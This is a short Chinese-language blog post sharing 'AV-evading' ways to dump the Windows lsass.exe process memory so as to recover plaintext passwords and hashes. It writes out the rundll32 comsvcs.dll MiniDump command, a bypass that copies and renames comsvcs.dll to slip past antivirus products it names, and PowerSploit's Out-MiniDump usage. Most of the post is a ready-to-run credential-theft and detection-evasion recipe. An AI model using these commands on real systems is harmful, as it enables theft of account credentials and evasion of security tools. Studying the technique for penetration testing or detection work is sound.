免殺轉儲lsass進程技巧
VSole2021-12-02 05:58:04
在滲透測試中,最常用的方法是通過dump進程lsass.exe,從中獲得明文口令和hash,今天分享兩個免殺轉儲lsass方式,目前親測可過某60 or 某絨。
第一種:
comsvcs.dll,系統自帶。
在原理上都是使用API MiniDumpWriteDump,通過comsvcs.dll的導出函數MiniDump實現dump內存。
BOOL MiniDumpWriteDump( HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
注意權限的問題:
在dump指定進程內存文件時,需要開啟SeDebugPrivilege權限。管理員權限的cmd下,默認支持SeDebugPrivilege權限,但是狀態為Disabled禁用狀態。

這里直接在cmd下執行rundll32的命令嘗試dump指定進程內存文件時,由于無法開啟SeDebugPrivilege權限,所以會失敗。
解決方式:
管理員權限的powershell下,默認支持SeDebugPrivilege權限,并且狀態為Enabled

可以通過powershell執行rundll32的命令實現。
首先查看lsass.exe進程PID:

命令格式:
rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full
直接利用發現會被攔截:
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 564 lsass.dmp full

簡單的繞過思路:
copy一下comsvcs.dll并命名為隨意名字,例如tubai.dll
copy C:\windows\System32\comsvcs.dll tubai.dllrundll32.exe tubai.dll, MiniDump 564 lsass.dmp full

如圖,成功轉儲了lsass
第二種:
PowerSploit 的一個模塊Out-MiniDump是一個基于 Powershell 的滲透工具包,可以選擇創建進程的完整內存轉儲。
導入
Import-Module Out-MiniDump
執行
Get-Process lsass | Out-Minidump

總結:
轉儲姿勢很多,應該一起向編寫一個程序來手動轉儲 LSASS 進程才是硬道理。
VSole
網絡安全專家